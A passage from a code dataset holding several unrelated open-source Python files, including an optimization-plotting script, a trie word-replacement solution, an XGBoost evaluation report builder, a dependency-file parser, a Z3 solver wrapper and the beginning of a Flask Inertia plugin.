nn_sa_fitness = \\\n evaluate_model(nn_model=nn_sa_model, search_algo='SA', X_train=X_train_contra, X_test=X_test_contra, y_train=y_hot_train_contra,\n y_test=y_hot_test_contra, class_names=contra_targets, feature_names=contra_features)\n\ndf6 = pd.DataFrame(nn_sa_fitness)\ndf6.to_csv('df_sa_fitness.csv', index=False)\n\n#======= Comparison of all four search algorithms ==========#\nfig5, (ax9, ax10) = plt.subplots(1, 2, figsize=(15, 5))\nfig5.suptitle('Comparing Random Search Optimizers on Neural Network Weight Optimization for Contraceptive Methods Dataset: F1-Score and Convergence Time')\n\nax9.set(xlabel=\"Number of Iterations\", ylabel=\"F1-Score\")\nax9.grid()\nax9.plot(iterations, nn_gd_fitness, 'o-', color=\"y\",label=\"Gradient Descent Training Fitness\")\nax9.plot(iterations, nn_rhc_fitness, 'o-', color=\"r\",label=\"RHC Training Fitness\")\nax9.plot(iterations, nn_ga_fitness, 'o-', color=\"b\",label=\"GA Training Fitness\")\nax9.plot(iterations, nn_sa_fitness, 'o-', color=\"m\",label=\"SA Training Fitness\")\n\nax9.legend(loc=\"best\")\n\nax10.set(xlabel=\"Number of Iterations\", ylabel=\"Training Time (in seconds)\")\nax10.grid()\nax10.plot(iterations, gd_nn_train_time, 'o-', color=\"y\", label='Gradient Descent Training Time')\nax10.plot(iterations, rhc_nn_train_time, 'o-', color=\"r\", label='RHC Training Time')\nax10.plot(iterations, ga_nn_train_time, 'o-', color=\"b\", label='GA Training Time')\nax10.plot(iterations, sa_nn_train_time, 'o-', color=\"m\", label='SA Training Time')\nax10.legend(loc=\"best\")\n\nplt.show()\nprint(\"You got here!\")\n\n","repo_name":"egemzer/CS7641_Machine_Learning","sub_path":"Randomized Optimization/neural_net_opt.py","file_name":"neural_net_opt.py","file_ext":"py","file_size_in_byte":17773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17628984157","text":"'''\nIn English, we have a concept called root\n, which can be followed by some other word to form another longer word - let's call this word successor. \nFor example, when the root \"an\" is followed by the successor word \"other\", we can form a new word \"another\".\n\nGiven a dictionary consisting of many roots and a sentence consisting of words separated by spaces\n, replace all the successors in the sentence with the root forming it. \nIf a successor can be replaced by more than one root, replace it with the root that has the shortest length.\n\nReturn the sentence after the replacement.\n'''\nfrom typing import List\n\nclass Trie:\n def __init__(self):\n self._root = self._node()\n \n def insert(self, word: str):\n cur = self._root\n for c in word:\n if c not in cur.children:\n cur.children[c] = self._node()\n cur = cur.children[c]\n cur.isWord = True\n\n def search(self, word: str) -> str:\n cur = self._root\n res = ''\n for c in word:\n if c not in cur.children:\n return word\n cur = cur.children[c]\n res+=c\n if cur.isWord:\n return res\n return res\n\n class _node:\n def __init__(self, isWord: bool = False):\n self.isWord = isWord\n self.children = dict()\n\nclass Solution:\n def replaceWords(self, dictionary: List[str], sentence: str) -> str:\n trie = Trie()\n for word in dictionary:\n trie.insert(word)\n \n left, right = 0, 0\n res = ''\n while left Optional[str]:\n \"\"\"\n Consolidates the reports generated for the validation and test datasets into a single combined report.\n\n Args:\n experiment_id (str): Unique identifier for the experiment.\n report_dir (str): Directory path to store the combined report.\n target_col (str): Target col name.\n\n Returns:\n str: Path to the combined report, or None if an error occurs during the consolidation process.\n \"\"\"\n logger.info(f\"Experiment ID: {experiment_id} - Starting [consolidate_report] task...\")\n\n try:\n experiment_dir = os.path.join(report_dir, experiment_id)\n combined_report_path = os.path.join(experiment_dir, \"combined_report.html\")\n gantt_plot_path = os.path.relpath(os.path.join(experiment_dir, \"gantt_plot.png\"), experiment_dir)\n\n with open(combined_report_path, 'w') as combined_report:\n combined_report.write(\"\")\n combined_report.write(\"\")\n combined_report.write(\"\")\n\n write_gantt_section(combined_report=combined_report,\n experiment_id=experiment_id,\n gantt_plot_path=gantt_plot_path)\n write_section(combined_report=combined_report,\n title=\"Validation Report\",\n experiment_dir=experiment_dir,\n target_col=target_col,\n prefix=\"val\")\n write_section(combined_report=combined_report,\n title=\"Test Report\",\n experiment_dir=experiment_dir,\n target_col=target_col,\n prefix=\"test\")\n\n combined_report.write(\"\")\n\n logger.info(f\"Reports consolidated successfully. Combined report saved at {combined_report_path}\")\n logger.info(f\"Experiment ID: {experiment_id} - [consolidate_report] task done.\")\n return combined_report_path\n\n except Exception as e:\n logger.error(f\"An error occurred during report consolidation: {e}\")\n return None\n\n\ndef write_gantt_section(combined_report: TextIO, experiment_id: str, gantt_plot_path: str) -> None:\n \"\"\"\n Write the gantt section in the combined report.\n\n Args:\n combined_report (TextIO): The file object for the combined report.\n experiment_id (str): Unique identifier for the experiment.\n gantt_plot_path (str): The relative path to the gantt plot.\n\n Returns:\n None\n \"\"\"\n combined_report.write(f\"
\")\n combined_report.write(f\"Experiment Details\")\n combined_report.write(\"
\")\n combined_report.write(f\"

Experiment ID : {experiment_id}

\")\n combined_report.write(f\"
\")\n combined_report.write(\"
\")\n combined_report.write(\"
\")\n\n\ndef write_section(combined_report: TextIO, title: str, experiment_dir: str, prefix: str, target_col: str) -> None:\n \"\"\"\n Write a section in the combined report.\n\n Args:\n combined_report (TextIO): The file object for the combined report.\n title (str): The title of the section.\n experiment_dir (str): The directory for the experiment.\n prefix (str): The prefix of the directory to use (should be something like \"val\" or \"test\").\n target_col (str): The target column name.\n\n Returns:\n None\n \"\"\"\n combined_report.write(f\"
\")\n combined_report.write(f\"{title}\")\n combined_report.write(\"
\")\n write_report(experiment_dir=experiment_dir, prefix=prefix, combined_report=combined_report, target_col=target_col)\n combined_report.write(\"
\")\n combined_report.write(\"
\")\n\n\ndef get_css_style() -> str:\n \"\"\"\n Get the CSS style for the combined report.\n\n Returns:\n str: The CSS style for the combined report.\n \"\"\"\n return \"\"\"\n body {\n font-family: Arial, sans-serif;\n padding: 20px;\n }\n\n .section {\n border: 2px solid #ddd;\n padding: 10px;\n margin-bottom: 20px;\n background-color: #f9f9f9;\n }\n\n .section h2 {\n text-align: center;\n font-size: 24px;\n margin-bottom: 10px;\n }\n\n details {\n margin-bottom: 20px;\n }\n\n details summary {\n cursor: pointer;\n outline: none;\n font-size: 20px;\n }\n\n details summary::-webkit-details-marker {\n display: none;\n }\n\n details p {\n margin: 10px 0;\n }\n \"\"\"\n\n\ndef calculate_metrics(y_true: pd.Series, y_score: pd.Series) -> Dict[str, Optional[float]]:\n \"\"\"\n Calculate various evaluation metrics.\n\n Args:\n y_true (pd.Series): True labels.\n y_score (pd.Series): Predicted scores.\n\n Returns:\n Dict[str, float]: Dictionary containing calculated metrics.\n \"\"\"\n metrics = {}\n try:\n metrics['logloss'] = log_loss(y_true, y_score)\n except Exception as e:\n logger.error(f\"Failed to calculate log loss: {e}\")\n metrics['logloss'] = None\n\n try:\n metrics['auc'] = roc_auc_score(y_true, y_score)\n except Exception as e:\n logger.error(f\"Failed to calculate AUC: {e}\")\n metrics['auc'] = None\n\n try:\n metrics['auprc'] = average_precision_score(y_true, y_score)\n except Exception as e:\n logger.error(f\"Failed to calculate AUPRC: {e}\")\n metrics['auprc'] = None\n\n return metrics\n\n\ndef generate_roc_curve(experiment_dir: str, fpr: List[float], tpr: List[float]) -> str:\n \"\"\"\n Generate and save the ROC curve plot.\n\n Args:\n experiment_dir (str): Directory for the experiment.\n fpr (List[float]): List of false positive rates.\n tpr (List[float]): List of true positive rates.\n roc_plot_path (str): File path to save the ROC curve plot.\n\n Returns:\n None\n \"\"\"\n roc_plot_path = os.path.join(experiment_dir, \"roc_curve.png\")\n plt.figure()\n plt.plot(fpr, tpr, label='ROC Curve')\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title('Receiver Operating Characteristic (ROC) Curve')\n plt.legend(loc='lower right')\n plt.savefig(roc_plot_path)\n return roc_plot_path\n\n\ndef generate_histogram(data: pd.Series,\n experiment_dir: str,\n file_name: str,\n label: str,\n color: str,\n title: str,\n log_scale: bool = False) -> None:\n \"\"\"\n Generate and save a histogram plot.\n\n Args:\n data (pd.Series): Data for the histogram.\n experiment_dir (str): Directory for the experiment.\n file_name (str): File name for the saved histogram.\n label (str): Label for the histogram.\n color (str): Color for the histogram.\n title (str): Title of the histogram plot.\n log_scale (bool): Flag to indicate if the y-axis should be in log scale.\n\n Returns:\n None\n \"\"\"\n plt.figure()\n plt.hist(data, bins=50, alpha=0.7, color=color, label=label)\n plt.xlabel('Scores')\n plt.ylabel('Frequency')\n plt.yscale('log' if log_scale else 'linear')\n plt.title(title)\n plt.legend(loc='upper right')\n plt.savefig(os.path.join(experiment_dir, file_name))\n\n\ndef plot_target_distribution(target_counts: pd.Series, experiment_dir: str) -> str:\n \"\"\"\n Plot and save the distribution of the 'target_col' column.\n\n Args:\n target_counts (pd.Series): Series containing the count of modalities in target column.\n experiment_dir (str): Directory for the experiment.\n\n Returns:\n str: Path to the saved plot.\n \"\"\"\n counts_dict = target_counts.to_dict()\n if len(counts_dict) == 1:\n if True in counts_dict:\n counts_dict[False] = 0\n else:\n counts_dict[True] = 0\n\n sorted_counts = {k: counts_dict[k] for k in sorted(counts_dict)}\n labels = ['False', 'True']\n values = [sorted_counts[False], sorted_counts[True]]\n\n plt.figure()\n plt.bar(labels, values, color=['blue', 'red'])\n plt.yscale('log')\n plt.xlabel('target')\n plt.ylabel('Count (log scale)')\n plt.title('Distribution of target column')\n for i, value in enumerate(values):\n plt.text(i, value, str(value), ha='center', va='bottom', fontsize=12)\n plot_path = os.path.join(experiment_dir, \"target_counts.png\")\n plt.savefig(plot_path)\n return plot_path\n\n\ndef plot_histogram(data: pd.Series,\n experiment_dir: str,\n file_name: str,\n label: str,\n color: str,\n title: str,\n log_scale: bool = False) -> str:\n \"\"\"\n Plot and save a histogram.\n\n Args:\n data (pd.Series): Data to be plotted.\n experiment_dir (str): Directory for the experiment.\n file_name (str): Name of the saved file.\n label (str): Label for the histogram.\n color (str): Color for the histogram.\n title (str): Title for the plot.\n log_scale (bool): Whether to use logarithmic scale.\n\n Returns:\n str: Path to the saved plot.\n \"\"\"\n plt.figure()\n plt.hist(data, bins=50, alpha=0.7, color=color, label=label)\n if log_scale:\n plt.yscale('log')\n plt.xlabel('Scores')\n plt.ylabel('Frequency')\n plt.title(title)\n plt.legend(loc='upper right')\n plot_path = os.path.join(experiment_dir, file_name)\n plt.savefig(plot_path)\n return plot_path\n\n\ndef write_report(experiment_dir: str, prefix: str, combined_report: TextIO, target_col: str) -> None:\n \"\"\"\n Write the evaluation report.\n\n Args:\n experiment_dir (str): Report directory.\n prefix (str): Prefix of the directory to use (should be something like \"val\" or \"test\").\n combined_report (TextIO): File object for the combined report.\n target_col (str): The target column name.\n\n Returns:\n None\n \"\"\"\n if prefix == \"val\":\n section_description = \"Validation results for the model.\"\n elif prefix == \"test\":\n section_description = \"Test results for the model.\"\n else:\n section_description = \"Results for the model evaluation.\"\n\n combined_report.write(f\"
\")\n combined_report.write(\n f\"

{section_description} This section presents the metrics obtained during the evaluation.

\")\n\n # Reading metrics from parquet file\n metrics_df = pd.read_parquet(os.path.join(experiment_dir, prefix, 'metrics.parquet'))\n combined_report.write(\"
\")\n combined_report.write(metrics_df.to_html(index=False))\n combined_report.write(\"
\")\n combined_report.write(\"
\")\n\n combined_report.write(f\"
\")\n\n # Plot ROC Curve\n combined_report.write(f\"
\")\n combined_report.write(f\"

ROC Curve

\")\n combined_report.write(f\"

The Receiver Operating Characteristic (ROC) curve.

\")\n combined_report.write(\n f\"
\")\n combined_report.write(\"
\")\n\n # Plot Cardinality of target_col column\n combined_report.write(f\"
\")\n combined_report.write(f\"

Cardinality on '{target_col}'

\")\n combined_report.write(f\"

The distribution of the '{target_col}' column.

\")\n combined_report.write(\n f\"
\")\n combined_report.write(\"
\")\n\n combined_report.write(\"
\")\n\n combined_report.write(\"
\")\n\n # Plot Distribution of Positive and Negative classes Scores\n combined_report.write(f\"
\")\n\n # Plot Distribution of Positive class Scores\n combined_report.write(f\"
\")\n combined_report.write(f\"

Positive Class Scores Distribution

\")\n combined_report.write(f\"

The distribution for the positive class.

\")\n combined_report.write(\n f\"
\")\n combined_report.write(\"
\")\n\n # Plot Distribution of Negative Class Scores\n combined_report.write(f\"
\")\n combined_report.write(f\"

Negative Class Scores Distribution

\")\n combined_report.write(f\"

The distribution for the negative class.

\")\n combined_report.write(\n f\"
\")\n combined_report.write(\"
\")\n\n combined_report.write(\"
\")\n combined_report.write(\"
\")\n\n\ndef model_evaluation_task(experiment_id: str,\n report_dir: str,\n prefix: str,\n target_col: str,\n predictions_data_path: str) -> str:\n \"\"\"\n Evaluates the model's performance using various metrics and generates a report.\n\n Args:\n experiment_id (str): Unique identifier for the experiment.\n report_dir (str): Directory path to store the evaluation report.\n prefix (str): Prefix for the output folder name.\n target_col (str): The target column name.\n predictions_data_path (str): Path to the parquet predictions.\n\n Returns:\n str: Path to the directory containing all necessary files for generating the report.\n \"\"\"\n logger.info(f\"Experiment ID: {experiment_id} - Starting [model_evaluation] task...\")\n\n predictions_data = pd.read_parquet(predictions_data_path)\n logger.info(f\"Loaded '{prefix}' data successfully, input shape: {predictions_data.shape}\")\n\n if predictions_data.empty:\n raise ValueError(\"The predictions_data DataFrame is empty.\")\n\n experiment_dir = os.path.join(report_dir, experiment_id, prefix)\n os.makedirs(experiment_dir, exist_ok=True)\n\n y_true = predictions_data[target_col]\n y_score = predictions_data['xgb.final_score']\n\n metrics = calculate_metrics(y_true=y_true, y_score=y_score)\n\n fpr, tpr, _ = roc_curve(y_true=y_true, y_score=y_score)\n generate_roc_curve(experiment_dir=experiment_dir, fpr=fpr, tpr=tpr)\n\n target_counts = predictions_data[target_col].value_counts()\n plot_target_distribution(target_counts=target_counts, experiment_dir=experiment_dir)\n\n positive = predictions_data.loc[predictions_data[target_col], 'xgb.final_score']\n negative = predictions_data.loc[~predictions_data[target_col], 'xgb.final_score']\n\n plot_histogram(data=positive,\n experiment_dir=experiment_dir,\n file_name=\"positive_distribution.png\",\n label=\"Positive Class Scores\",\n color='red',\n title='Distribution of XGB Scores for Positive Class elements')\n plot_histogram(data=negative,\n experiment_dir=experiment_dir,\n file_name=\"negative_distribution.png\",\n label=\"Negative Class Scores\",\n color='blue',\n title='Distribution of XGB Scores for Negative Class elements')\n\n metrics_df = pd.DataFrame([metrics])\n metrics_df.to_parquet(os.path.join(experiment_dir, 'metrics.parquet'), index=False)\n\n logger.info(f\"Evaluation completed, saved evaluation metrics in {experiment_dir}\")\n logger.info(f\"Experiment ID: {experiment_id} - [model_evaluation] task done.\")\n return experiment_dir\n","repo_name":"nielsborie/xgb-batch-training","sub_path":"src/modeling/evaluation/model_evaluation_task.py","file_name":"model_evaluation_task.py","file_ext":"py","file_size_in_byte":16627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32119172191","text":"from robot.serial_com import *\nimport time\n\npi_serial = Serial_com()\n\nsend_daemon = Serial_send_daemon(pi_serial, {'Raspberry': 'Hello!'})\nread_daemon = Serial_read_daemon(pi_serial)\n\nwhile True:\n print(read_daemon.msg)\n time.sleep(1)\n","repo_name":"achurichi/robot","sub_path":"tests_raspberry/test_serial_com.py","file_name":"test_serial_com.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"35962001366","text":"from dataclasses import dataclass\nimport re\nimport os\nfrom typing import Any, List, Tuple\nimport warnings\nfrom collections import defaultdict\nfrom os.path import abspath, dirname\n\nfrom lxml import objectify # type:ignore\n\n# Map to record which line belongs to read set of nodes. LID -> NodeIds\nreadlineToCUIdMap = defaultdict(set) # type: ignore\n# Map to record which line belongs to write set of nodes. LID -> NodeIds\nwritelineToCUIdMap = defaultdict(set) # type: ignore\n# Map to record which line belongs to set of nodes. LID -> NodeIds\nlineToCUIdMap = defaultdict(set) # type: ignore\n\n\n@dataclass\nclass DependenceItem(object):\n sink: Any\n source: Any\n type: Any\n var_name: Any\n memory_region: Any\n # TODO improve typing\n\n\n# TODO move this class to a better place, we need it not only for parsing\n@dataclass\nclass LoopData(object):\n line_id: str # file_id:line_nr\n total_iteration_count: int\n entry_count: int\n average_iteration_count: int\n maximum_iteration_count: int\n\n\ndef __parse_xml_input(xml_fd):\n xml_content = \"\"\n for line in xml_fd.readlines():\n if not (line.rstrip().endswith(\"\") or line.rstrip().endswith(\"\")):\n xml_content = xml_content + line\n\n xml_content = \"{0}\".format(xml_content)\n\n parsed_cu = objectify.fromstring(xml_content)\n cu_dict = dict()\n for node in parsed_cu.Node:\n node.childrenNodes = str(node.childrenNodes).split(\",\") if node.childrenNodes else []\n if node.get(\"type\") == \"0\":\n for instruction_id in str(node.writePhaseLines).split(\",\"):\n writelineToCUIdMap[instruction_id].add(node.get(\"id\"))\n for instruction_id in str(node.readPhaseLines).split(\",\"):\n readlineToCUIdMap[instruction_id].add(node.get(\"id\"))\n\n if node.get(\"id\") in cu_dict:\n # entry exists already! merge the two entries\n pass\n else:\n cu_dict[node.get(\"id\")] = node\n\n return cu_dict\n\n\ndef __map_dummy_nodes(cu_dict):\n dummy_node_args_to_id_map = defaultdict(list)\n func_node_args_to_id_map = dict()\n dummy_to_func_ids_map = dict()\n for node_id, node in cu_dict.items():\n if node.get(\"type\") == \"3\" or node.get(\"type\") == \"1\":\n key = node.get(\"name\")\n if \"arg\" in dir(node.funcArguments):\n for i in node.funcArguments.arg:\n key = key + i.get(\"type\")\n if node.get(\"type\") == \"3\":\n dummy_node_args_to_id_map[key].append(node_id)\n else:\n func_node_args_to_id_map[key] = node_id\n\n # iterate over all real functions\n for func in func_node_args_to_id_map:\n if func in dummy_node_args_to_id_map:\n for dummyID in dummy_node_args_to_id_map[func]:\n dummy_to_func_ids_map[dummyID] = func_node_args_to_id_map[func]\n cu_dict.pop(dummyID)\n\n # now go through all the nodes and update the mapped dummies to real funcs\n for node_id, node in cu_dict.items():\n # check dummy in all the children nodes\n if \"childrenNodes\" in dir(node):\n for child_idx, child in enumerate(node.childrenNodes):\n if child in dummy_to_func_ids_map:\n cu_dict[node_id].childrenNodes[child_idx] = dummy_to_func_ids_map[child]\n\n # Also do the same in callLineToFunctionMap\n if \"callsNode\" in dir(node):\n for idx, i in enumerate(node.callsNode.nodeCalled):\n if i in dummy_to_func_ids_map:\n cu_dict[node_id].callsNode.nodeCalled[idx] = dummy_to_func_ids_map[i]\n return cu_dict\n\n\ndef __parse_dep_file(dep_fd, output_path: str) -> Tuple[List[DependenceItem], List[LoopData]]:\n dependencies_list: List[DependenceItem] = []\n loop_data_list: List[LoopData] = []\n # read static dependencies\n static_dependency_lines = []\n if not os.path.exists(os.path.join(output_path, \"static_dependencies.txt\")):\n warnings.warn(\n \"Static dependencies could not be found under: \"\n + os.path.join(output_path, \"static_dependencies.txt\")\n )\n # todo\n warnings.warn(\n \"TODO: Add command line parameter to pass a location for the static dependency file, \"\n \"or combine static and dynamic dependencies from the beginning.\"\n )\n else:\n with open(os.path.join(output_path, \"static_dependencies.txt\"), \"r\") as static_dep_fd:\n static_dependency_lines = static_dep_fd.readlines()\n\n for line in dep_fd.readlines() + static_dependency_lines:\n dep_fields = line.split()\n if dep_fields[1] == \"BGN\" and dep_fields[2] == \"loop\":\n line_id = dep_fields[0]\n total_iteration_count = int(dep_fields[3])\n entry_count = int(dep_fields[4])\n average_iteration_count = int(dep_fields[5])\n maximum_iteration_count = int(dep_fields[6])\n loop_data_list.append(\n LoopData(\n line_id,\n total_iteration_count,\n entry_count,\n average_iteration_count,\n maximum_iteration_count,\n )\n )\n if len(dep_fields) < 4 or dep_fields[1] != \"NOM\":\n continue\n sink = dep_fields[0]\n # pairwise iteration over dependencies source\n for dep_pair in list(zip(dep_fields[2:], dep_fields[3:]))[::2]:\n type = dep_pair[0]\n source_fields = dep_pair[1].split(\"|\")\n var_str = \"\" if len(source_fields) == 1 else source_fields[1]\n var_name = \"\"\n aa_var_name = \"\"\n if len(var_str) > 0:\n if \"(\" in var_str:\n split_var_str = var_str.split(\"(\")\n var_name = split_var_str[0]\n aa_var_name = split_var_str[1][\n :-1\n ] # name of the allocated variable which is accessed, i.e. variable name after anti aliasing\n else:\n # compatibility with results created without alias analysis\n var_name = var_str\n dependencies_list.append(\n DependenceItem(sink, source_fields[0], type, var_name, aa_var_name)\n )\n\n return dependencies_list, loop_data_list\n\n\ndef parse_inputs(cu_file, dependencies, reduction_file, file_mapping):\n with open(cu_file) as f:\n cu_dict = __parse_xml_input(f)\n cu_dict = __map_dummy_nodes(cu_dict)\n\n with open(dependencies) as f:\n dependencies, loop_info = __parse_dep_file(f, dirname(abspath(cu_file)))\n\n loop_data = {loop.line_id: loop for loop in loop_info}\n\n fmap_file = open(file_mapping)\n fmap_lines = fmap_file.read().splitlines()\n fmap_file.close()\n\n if os.path.exists(reduction_file):\n reduction_vars = []\n\n # parse reduction variables\n with open(reduction_file) as f:\n content = f.readlines()\n for line in content:\n if is_reduction(line, fmap_lines, file_mapping):\n line = line.replace(\"\\n\", \"\")\n s = line.split(\" \")\n var = {\n \"loop_line\": f\"{s[3]}:{s[8]}\",\n \"name\": s[17],\n \"reduction_line\": f\"{s[3]}:{s[13]}\",\n \"operation\": s[21],\n }\n reduction_vars.append(var)\n else:\n reduction_vars = None\n\n return cu_dict, dependencies, loop_data, reduction_vars\n\n\ndef is_reduction(reduction_line, fmap_lines, file_mapping):\n rex = re.compile(\n \"FileID : ([0-9]*) Loop Line Number : [0-9]* Reduction Line Number : ([0-9]*) \"\n )\n if not rex:\n return False\n res = rex.search(reduction_line)\n file_id = int(res.group(1))\n file_line = int(res.group(2))\n\n filepath = get_filepath(file_id, fmap_lines, file_mapping)\n src_file = open(filepath)\n src_lines = src_file.read().splitlines()\n src_file.close()\n\n return possible_reduction(file_line, src_lines)\n\n\ndef possible_reduction(line, src_lines):\n assert line > 0 and line <= len(src_lines), \"invalid src line\"\n src_line = src_lines[line - 1]\n while not \";\" in src_line:\n line = line + 1\n if line > len(src_lines):\n return False\n src_line = src_line + \" \" + src_lines[line - 1]\n\n pos = src_line.find(\"=\")\n if pos == -1:\n return True\n\n bracket_a = src_line[0:pos].find(\"[\")\n if bracket_a == -1:\n return True\n bracket_b = src_line[0:pos].rfind(\"]\")\n assert bracket_b != -1\n\n rex_search_res = re.search(\"([A-Za-z0-9_]+)\\[\", src_line[0 : (bracket_a + 1)])\n if not rex_search_res:\n return True\n\n array_name = rex_search_res[1]\n array_index = src_line[(bracket_a + 1) : bracket_b]\n\n array_indices = find_array_indices(array_name, src_line[pos : len(src_line)])\n for index in array_indices:\n if index == array_index:\n return False\n\n return True\n\n\ndef get_filepath(file_id, fmap_lines, file_mapping):\n assert file_id > 0 and file_id <= len(fmap_lines), \"invalid file id\"\n line = fmap_lines[file_id - 1]\n tokens = line.split(sep=\"\\t\")\n if tokens[1].startswith(\"..\"):\n return os.path.dirname(file_mapping) + \"/\" + tokens[1]\n else:\n return tokens[1]\n\n\ndef get_enclosed_str(data):\n num_open_brackets = 1\n for i in range(0, len(data)):\n if data[i] == \"[\":\n num_open_brackets = num_open_brackets + 1\n elif data[i] == \"]\":\n num_open_brackets = num_open_brackets - 1\n if num_open_brackets == 0:\n return data[0:i]\n\n\ndef find_array_indices(array_name, src_line):\n indices = []\n uses = list(re.finditer(array_name, src_line))\n for use in uses:\n if src_line[use.end()] == \"[\":\n indices.append(get_enclosed_str(src_line[(use.end() + 1) : len(src_line)]))\n else:\n indices.append(\"\")\n\n return indices\n","repo_name":"discopop-project/discopop","sub_path":"discopop_explorer/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":10048,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"72"} +{"seq_id":"21785843759","text":"# Author: Bohua Zhan\n\nimport importlib\n\nif importlib.util.find_spec(\"z3\"):\n import z3\n z3_loaded = True\nelse:\n z3_loaded = False\n\nfrom kernel.type import TFun\nfrom kernel.term import Term, Var, boolT\nfrom kernel.thm import Thm\nfrom kernel.macro import ProofMacro, global_macros\nfrom logic import logic\nfrom logic import nat\nfrom syntax import printer\n\n\ndef convert(t):\n \"\"\"Convert term t to Z3 input.\"\"\"\n if t.is_var():\n T = t.get_type()\n if T == nat.natT:\n return z3.Int(t.name)\n elif T == TFun(nat.natT, nat.natT):\n return z3.Function(t.name, z3.IntSort(), z3.IntSort())\n elif T == TFun(nat.natT, boolT):\n return z3.Function(t.name, z3.IntSort(), z3.BoolSort())\n elif T == boolT:\n return z3.Bool(t.name)\n else:\n print(\"convert: unsupported type \" + repr(T))\n raise NotImplementedError\n elif t.is_all():\n if t.arg.var_T == nat.natT:\n v = Var(t.arg.var_name, nat.natT)\n z3_v = z3.Int(t.arg.var_name)\n return z3.ForAll([z3_v], convert(t.arg.subst_bound(v)))\n else:\n raise NotImplementedError\n elif t.is_implies():\n return z3.Implies(convert(t.arg1), convert(t.arg))\n elif t.is_equals():\n return convert(t.arg1) == convert(t.arg)\n elif logic.is_conj(t):\n return z3.And(convert(t.arg1), convert(t.arg))\n elif logic.is_disj(t):\n return z3.Or(convert(t.arg1), convert(t.arg))\n elif logic.is_neg(t):\n return z3.Not(convert(t.arg))\n elif nat.is_plus(t):\n return convert(t.arg1) + convert(t.arg)\n elif nat.is_times(t):\n return convert(t.arg1) * convert(t.arg)\n elif nat.is_binary(t):\n return nat.from_binary(t)\n elif t.is_comb():\n return convert(t.fun)(convert(t.arg))\n elif t.is_const():\n if t == logic.true:\n return z3.BoolVal(True)\n elif t == logic.false:\n return z3.BoolVal(False)\n else:\n print(\"convert: unsupported constant \" + repr(t))\n raise NotImplementedError\n else:\n print(\"convert: unsupported operation \" + repr(t))\n raise NotImplementedError\n\ndef solve(t):\n \"\"\"Solve the given goal using Z3.\"\"\"\n s = z3.Solver()\n\n # First strip foralls from t.\n while Term.is_all(t):\n t = t.arg.subst_bound(Var(t.arg.var_name, t.arg.var_T))\n s.add(z3.Not(convert(t)))\n return str(s.check()) == 'unsat'\n\nclass Z3Macro(ProofMacro):\n \"\"\"Macro invoking SMT solver Z3.\"\"\"\n def __init__(self):\n self.level = 0 # No expand implemented for Z3.\n self.sig = Term\n\n def eval(self, thy, args, prevs):\n if z3_loaded:\n assert solve(args), \"Z3: not solved.\"\n else:\n print(\"Warning: Z3 is not installed\")\n\n return Thm([], args)\n\n def expand(self, prefix, thy, args, prevs):\n raise NotImplementedError\n\n\nglobal_macros.update({\n \"z3\": Z3Macro(),\n})\n","repo_name":"zhouwenfan/temp","sub_path":"prover/z3wrapper.py","file_name":"z3wrapper.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38217754579","text":"import os\nfrom typing import Any, Optional\n\nfrom flask import Flask, Response, current_app, request\nfrom jinja2 import Template\nfrom jsmin import jsmin\nfrom markupsafe import Markup\nfrom werkzeug.exceptions import BadRequest\n\nfrom flask_inertia.version import get_asset_version\n\n\nclass Inertia:\n \"\"\"Inertia Plugin for Flask.\"\"\"\n\n def __init__(self, app: Optional[Flask] = None):\n if app is not None:\n self.init_app(app)\n\n def init_app(self, app: Flask):\n \"\"\"Init as an app extension\n\n * Register before_request hook\n * Register after_request hook\n * Set context processor to have an `inertia` value in templates\n \"\"\"\n self._shared_data = {}\n if not hasattr(app, \"extensions\"):\n app.extensions = {}\n app.extensions[\"inertia\"] = self\n app.context_processor(self.context_processor)\n app.before_request(self.process_incoming_inertia_requests)\n app.after_request(self.update_redirect)\n\n def process_incoming_inertia_requests(self) -> Optional[Response]:\n \"\"\"Process incoming Inertia requests.\n\n AJAX requests must be forged by Inertia.\n\n Whenever an Inertia request is made, Inertia will include the current asset\n version in the X-Inertia-Version header. If the asset versions are the same,\n the request simply continues as expected. However, if they are different,\n the server immediately returns a 409 Conflict response (only for GET request),\n and includes the URL in a X-Inertia-Location header.\n \"\"\"\n # request is ajax\n if request.headers.get(\"X-Requested-With\") != \"XMLHttpRequest\":\n return None\n\n # check if send with Inertia\n if not request.headers.get(\"X-Inertia\"):\n raise BadRequest(\"Inertia headers not found\")\n\n # check inertia version\n server_version = get_asset_version()\n inertia_version = request.headers.get(\"X-Inertia-Version\")\n if (\n request.method == \"GET\"\n and inertia_version\n and inertia_version != server_version\n ):\n response = Response(\"Inertia versions does not match\", status=409)\n response.headers[\"X-Inertia-Location\"] = request.full_path\n return response\n\n return None\n\n def update_redirect(self, response: Response) -> Response:\n \"\"\"Update redirect to set 303 status code.\n\n 409 conflict responses are only sent for GET requests, and not for\n POST/PUT/PATCH/DELETE requests. That said, they will be sent in the\n event that a GET redirect occurs after one of these requests. To force\n Inertia to use a GET request after a redirect, the 303 HTTP status is used\n\n :param response: The generated response to update\n \"\"\"\n if (\n request.method in [\"PUT\", \"PATCH\", \"DELETE\"]\n and response.status_code == 302\n ):\n response.status_code = 303\n\n return response\n\n def share(self, key: str, value: Any):\n \"\"\"Preassign shared data for each request.\n\n Sometimes you need to access certain data on numerous pages within your\n application. For example, a common use-case for this is showing the\n current user in the site header. Passing this data manually in each\n response isn't practical. In these situations shared data can be useful.\n\n :param key: Data key to share between requests\n :param value: Data value or Function returning the data value\n \"\"\"\n self._shared_data[key] = value\n\n @staticmethod\n def context_processor():\n \"\"\"Add an `inertia` directive to Jinja2 template to allow router inclusion\n\n .. code-block:: html\n\n \n \n \n \"\"\"\n return {\n \"inertia\": current_app.extensions[\"inertia\"],\n }\n\n def include_router(self) -> Markup:\n \"\"\"Include JS router in Templates.\"\"\"\n router_file = os.path.join(\n os.path.abspath(os.path.dirname(__file__)), \"router.js\"\n )\n routes = {\n rule.endpoint: rule.rule for rule in current_app.url_map.iter_rules()\n }\n with open(router_file, \"r\") as 